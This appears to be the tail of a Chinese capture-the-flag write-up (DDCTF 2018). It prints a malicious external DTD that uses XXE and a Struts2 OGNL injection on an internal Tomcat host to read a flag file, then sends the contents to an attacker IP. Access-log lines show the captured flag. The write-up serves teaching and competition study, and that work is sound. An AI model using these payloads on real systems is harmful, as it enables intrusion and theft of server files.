<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23w%3Dnew%20java.io.File(%22%2Fflag%2Fflag.txt%22)%2C%23a%3Dnew%20java.io.FileInputStream(%23w)%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B60%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;
最终从访问日志中获得 flag:
116.85.48.104 - - [20/Apr/2018:22:24:30 +0800] "GET /stwo.dtd HTTP/1.1" 200 1067 "-" "Java/1.8.0_151"
116.85.48.104 - - [20/Apr/2018:22:24:31 +0800] "GET /?DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb} HTTP/1.1" 404 496 "-" "Java/1.8.0_151"

还没有评论,来说两句吧...